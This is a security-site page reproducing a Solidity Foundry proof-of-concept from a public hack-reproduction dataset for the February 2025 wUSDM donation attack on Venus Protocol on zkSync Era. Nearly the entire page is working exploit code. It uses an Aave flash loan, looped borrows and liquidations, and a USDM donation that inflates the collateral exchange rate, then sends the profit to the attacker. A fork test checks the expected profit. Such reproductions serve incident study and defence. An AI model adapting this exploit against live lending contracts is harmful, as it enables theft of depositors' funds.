Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/Venus_ZKSync_exp.sol

Public reproduction file for dataset entry Venus_ZKSync.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/Venus_ZKSync_exp.sol220 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IAaveFlashloan, IERC20, IERC4626, IUnitroller} from "../interface.sol";
6
7// @KeyInfo - Simplified explicit PoC (zkSync Era)
8// Tx: https://explorer.zksync.io/tx/0x35a0172fb6bd450ceb29aa67dc85221826dfd0b7528375400b4ccf15c1eed0d8
9// Attack Contract : https://explorer.zksync.io/address/0x68c8020A052d5061760e2AbF5726D59D4ebe3506
10// Block: 56669987
12// @Analysis
13// Post-mortem :https://community.venus.io/t/post-mortem-wusdm-donation-attack-on-venus-zksync/5004
15interface IVTokenSimplified {
16 function balanceOf(address owner) external view returns (uint256);
18 function mint(uint256 mintAmount) external returns (uint256);
20 function borrow(uint256 borrowAmount) external returns (uint256);
22 function borrowBalanceStored(address account) external view returns (uint256);
24 function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external returns (uint256);
26 function redeem(uint256 redeemTokens) external returns (uint256);
28 function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
30 function getAccountSnapshot(address account) external view returns (uint256, uint256, uint256, uint256);
33contract ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper {
34 IERC20 internal constant WETH = IERC20(0x5AEa5775959fBC2557Cc8789bC1bf90A239D9a91);
35 IERC20 internal constant wUSDM = IERC20(0xA900cbE7739c96D2B153a273953620A701d5442b);
36 IVTokenSimplified internal constant vWETH = IVTokenSimplified(0x1Fa916C27c7C2c4602124A14C77Dbb40a5FF1BE8);
37 IVTokenSimplified internal constant vUSDM = IVTokenSimplified(0x183dE3C349fCf546aAe925E1c7F364EA6FB4033c);
38 IUnitroller internal constant VENUS_COMPTROLLER = IUnitroller(0xddE4D098D9995B659724ae6d5E3FB9681Ac941B1);
40 uint256 internal constant STANDARD_LIQUIDATION_ROUNDS = 34;
41 uint256 internal constant STANDARD_LIQUIDATION_SIZE = 55_000 ether;
42 uint256 internal constant FINAL_LIQUIDATION_SIZE = 12_000 ether;
43 uint256 internal constant HELPER_FINAL_WETH_BORROW = 162_126_770_849_249_864_389;
45 function prepare() external {
46 address[] memory helperMarkets = new address[](1);
47 helperMarkets[0] = address(vUSDM);
48 wUSDM.approve(address(vUSDM), type(uint256).max);
49 VENUS_COMPTROLLER.enterMarkets(helperMarkets);
50 }
52 function mintReceivedWUSDM(uint256 amount) external {
53 require(vUSDM.mint(amount) == 0, "helper: mint wUSDM failed");
54 }
56 function returnWUSDM(address to, uint256 amount) external {
57 require(wUSDM.transfer(to, amount), "helper: return wUSDM failed");
58 }
60 function run(address target) external {
61 for (uint256 i = 0; i < STANDARD_LIQUIDATION_ROUNDS; i++) {
62 require(
63 vUSDM.liquidateBorrow(target, STANDARD_LIQUIDATION_SIZE, address(vWETH)) == 0,
64 "helper: liquidate failed"
65 );
66 require(vUSDM.redeemUnderlying(STANDARD_LIQUIDATION_SIZE) == 0, "helper: redeem vUSDM failed");
67 }
68 require(
69 vUSDM.liquidateBorrow(target, FINAL_LIQUIDATION_SIZE, address(vWETH)) == 0,
70 "helper: final liquidate failed"
71 );
72 require(vUSDM.redeemUnderlying(FINAL_LIQUIDATION_SIZE) == 0, "helper: final redeem vUSDM failed");
73 require(vWETH.redeem(vWETH.balanceOf(address(this))) == 0, "helper: redeem seized vWETH failed");
74 require(vWETH.borrow(HELPER_FINAL_WETH_BORROW) == 0, "helper: final WETH borrow failed");
75 require(WETH.transfer(target, WETH.balanceOf(address(this))), "helper: send WETH back failed");
76 }
79contract ZKSync_wUSDM_WETH_tx35a0_AttackReceiver {
80 IERC20 internal constant WETH = IERC20(0x5AEa5775959fBC2557Cc8789bC1bf90A239D9a91);
81 IERC20 internal constant USDM = IERC20(0x7715c206A14Ac93Cb1A6c0316A6E5f8aD7c9Dc31);
82 IERC20 internal constant wUSDM = IERC20(0xA900cbE7739c96D2B153a273953620A701d5442b);
83 IVTokenSimplified internal constant vWETH = IVTokenSimplified(0x1Fa916C27c7C2c4602124A14C77Dbb40a5FF1BE8);
84 IVTokenSimplified internal constant vUSDM = IVTokenSimplified(0x183dE3C349fCf546aAe925E1c7F364EA6FB4033c);
85 IUnitroller internal constant VENUS_COMPTROLLER = IUnitroller(0xddE4D098D9995B659724ae6d5E3FB9681Ac941B1);
86 IAaveFlashloan internal constant AAVE = IAaveFlashloan(0x78e30497a3c7527d953c6B1E3541b021A98Ac43c);
88 uint256 internal constant FLASH_LOAN_AMOUNT = 2_100 ether;
89 uint256 internal constant FLASH_LOAN_REPAYMENT = 2_101_050_000_000_000_000_000;
90 uint256 internal constant PRIMARY_VUSDM_BORROW = 466_050_324_957_200_501_801_273;
91 uint256 internal constant PARTIAL_HELPER_VUSDM_MINT = 303_230_204_580_305_270_357_125;
92 uint256 internal constant HELPER_WUSDM_RETURN = 107_820_120_376_895_231_444_148;
93 uint256 internal constant FINAL_TARGET_VUSDM_BORROW = 303_201_456_628_859_639_068_587;
94 uint256 internal constant TARGET_WUSDM_REDEEM_SHARES = 411_021_577_005_754_870_512_735;
95 uint256 internal constant TARGET_TOTAL_WETH_SELF_REDEEM = 527_567_480_692_424_453_159;
97 address internal immutable attacker;
98 ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper internal immutable liquidationHelper;
100 constructor(address attacker_, ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper liquidationHelper_) {
101 attacker = attacker_;
102 liquidationHelper = liquidationHelper_;
103 }
105 function prepare() external {
106 address[] memory targetMarkets = new address[](1);
107 targetMarkets[0] = address(vWETH);
108 WETH.approve(address(vWETH), type(uint256).max);
109 VENUS_COMPTROLLER.enterMarkets(targetMarkets);
110 }
112 function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata params)
113 external
114 returns (bool)
115 {
116 initiator;
117 params;
119 require(msg.sender == address(AAVE), "callback: not Aave pool");
120 require(asset == address(WETH), "callback: unexpected asset");
121 require(amount == FLASH_LOAN_AMOUNT, "callback: unexpected amount");
122 require(premium == FLASH_LOAN_REPAYMENT - FLASH_LOAN_AMOUNT, "callback: unexpected premium");
124 _runSetupPhase();
125 _runLiquidationPhase();
126 _runSettlementPhase(amount + premium);
128 return true;
129 }
131 function _runSetupPhase() internal {
132 require(vWETH.mint(FLASH_LOAN_AMOUNT) == 0, "target: mint vWETH failed");
134 for (uint256 i = 0; i < 4; i++) {
135 require(vUSDM.borrow(PRIMARY_VUSDM_BORROW) == 0, "target: vUSDM borrow failed");
136 require(wUSDM.transfer(address(liquidationHelper), PRIMARY_VUSDM_BORROW), "target: send wUSDM failed");
137 liquidationHelper.mintReceivedWUSDM(PRIMARY_VUSDM_BORROW);
138 }
140 require(vUSDM.borrow(PRIMARY_VUSDM_BORROW) == 0, "target: vUSDM borrow failed");
141 require(wUSDM.transfer(address(liquidationHelper), PRIMARY_VUSDM_BORROW), "target: send wUSDM failed");
142 liquidationHelper.mintReceivedWUSDM(PARTIAL_HELPER_VUSDM_MINT);
143 liquidationHelper.returnWUSDM(address(this), HELPER_WUSDM_RETURN);
145 require(vUSDM.borrow(FINAL_TARGET_VUSDM_BORROW) == 0, "target: final vUSDM borrow failed");
146 require(vWETH.redeemUnderlying(TARGET_TOTAL_WETH_SELF_REDEEM) == 0, "target: merged WETH redeem failed");
147 IERC4626(address(wUSDM)).redeem(TARGET_WUSDM_REDEEM_SHARES, address(this), address(this));
148 require(USDM.transfer(address(wUSDM), USDM.balanceOf(address(this))), "target: donate USDM failed");
149 }
151 function _runLiquidationPhase() internal {
152 liquidationHelper.run(address(this));
153 }
155 function _runSettlementPhase(uint256 repayment) internal {
156 uint256 profit = WETH.balanceOf(address(this)) - repayment;
157 require(WETH.transfer(attacker, profit), "target: transfer profit failed");
158 require(WETH.approve(address(AAVE), repayment), "receiver: approve Aave failed");
159 }
162contract ZKSync_wUSDM_WETH_tx35a0_SimplifiedPoC is BaseTestWithBalanceLog {
163 IERC20 internal constant WETH = IERC20(0x5AEa5775959fBC2557Cc8789bC1bf90A239D9a91);
164 IERC20 internal constant wUSDM = IERC20(0xA900cbE7739c96D2B153a273953620A701d5442b);
165 IVTokenSimplified internal constant vWETH = IVTokenSimplified(0x1Fa916C27c7C2c4602124A14C77Dbb40a5FF1BE8);
166 IAaveFlashloan internal constant AAVE = IAaveFlashloan(0x78e30497a3c7527d953c6B1E3541b021A98Ac43c);
168 address internal constant FROM = 0x16bE708e257a0dF0F4275eCD9B0f70cE4B45430C;
169 uint256 internal constant BLOCK_BEFORE = 56_669_986;
170 uint256 internal constant FLASH_LOAN_AMOUNT = 2_100 ether;
171 uint256 internal constant EXPECTED_PROFIT = 86_721_141_300_659_762_817;
172 uint256 internal constant EXPECTED_PROFIT_DRIFT = 25_000_000_000;
173 uint256 internal constant HELPER_FINAL_WUSDM = 55_000_000_000_280_995_751_108;
174 uint256 internal constant TARGET_FINAL_VWETH = 300_850_828;
175 uint256 internal constant TARGET_FINAL_VWETH_DRIFT = 2;
177 ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper internal liquidationHelper;
178 ZKSync_wUSDM_WETH_tx35a0_AttackReceiver internal attackReceiver;
180 function setUp() public {
181 vm.createSelectFork("zksync", BLOCK_BEFORE);
183 vm.label(address(WETH), "WETH(zkSync)");
184 vm.label(address(wUSDM), "wUSDM(zkSync)");
185 vm.label(address(vWETH), "Venus vWETH(Core)");
186 vm.label(FROM, "history.attacker");
188 liquidationHelper = new ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper();
189 attackReceiver = new ZKSync_wUSDM_WETH_tx35a0_AttackReceiver(FROM, liquidationHelper);
191 vm.label(address(liquidationHelper), "poc.helper");
192 vm.label(address(attackReceiver), "poc.receiver");
194 liquidationHelper.prepare();
195 attackReceiver.prepare();
196 }
198 function testSimplifiedAttackFlow() public {
199 uint256 attackerWETHBefore = WETH.balanceOf(FROM);
201 vm.prank(FROM, FROM);
202 AAVE.flashLoanSimple(address(attackReceiver), address(WETH), FLASH_LOAN_AMOUNT, "", 0);
204 uint256 attackerWETHAfter = WETH.balanceOf(FROM);
205 uint256 attackerProfit = attackerWETHAfter - attackerWETHBefore;
207 assertApproxEqAbs(attackerProfit, EXPECTED_PROFIT, EXPECTED_PROFIT_DRIFT, "unexpected WETH profit");
208 assertEq(WETH.balanceOf(address(attackReceiver)), 0, "receiver should not keep WETH");
209 assertEq(WETH.balanceOf(address(liquidationHelper)), 0, "helper should not keep WETH");
210 assertEq(wUSDM.balanceOf(address(attackReceiver)), 0, "receiver should not keep wUSDM");
211 assertEq(wUSDM.balanceOf(address(liquidationHelper)), HELPER_FINAL_WUSDM, "unexpected helper residual wUSDM");
212 assertApproxEqAbs(
213 vWETH.balanceOf(address(attackReceiver)),
214 TARGET_FINAL_VWETH,
215 TARGET_FINAL_VWETH_DRIFT,
216 "unexpected receiver residual vWETH"
217 );
218 assertEq(vWETH.balanceOf(address(liquidationHelper)), 0, "helper should redeem all vWETH");
219 }

Analysis

Dataset entry

Public Foundry test for “Venus_ZKSync” (2025-02-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Contract

    0x68c8020a052d5061760e2abf5726d59d4ebe3506

File record

Name
Venus_ZKSync
Path
src/test/2025-02/Venus_ZKSync_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b6bef3c6ac8dd3ee73e55c574ba5e127e32def6b
Language
Solidity
Size
221 lines
Date
2025-02-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/Venus_ZKSync_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b6bef3c6ac8dd3ee73e55c574ba5e127e32def6b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.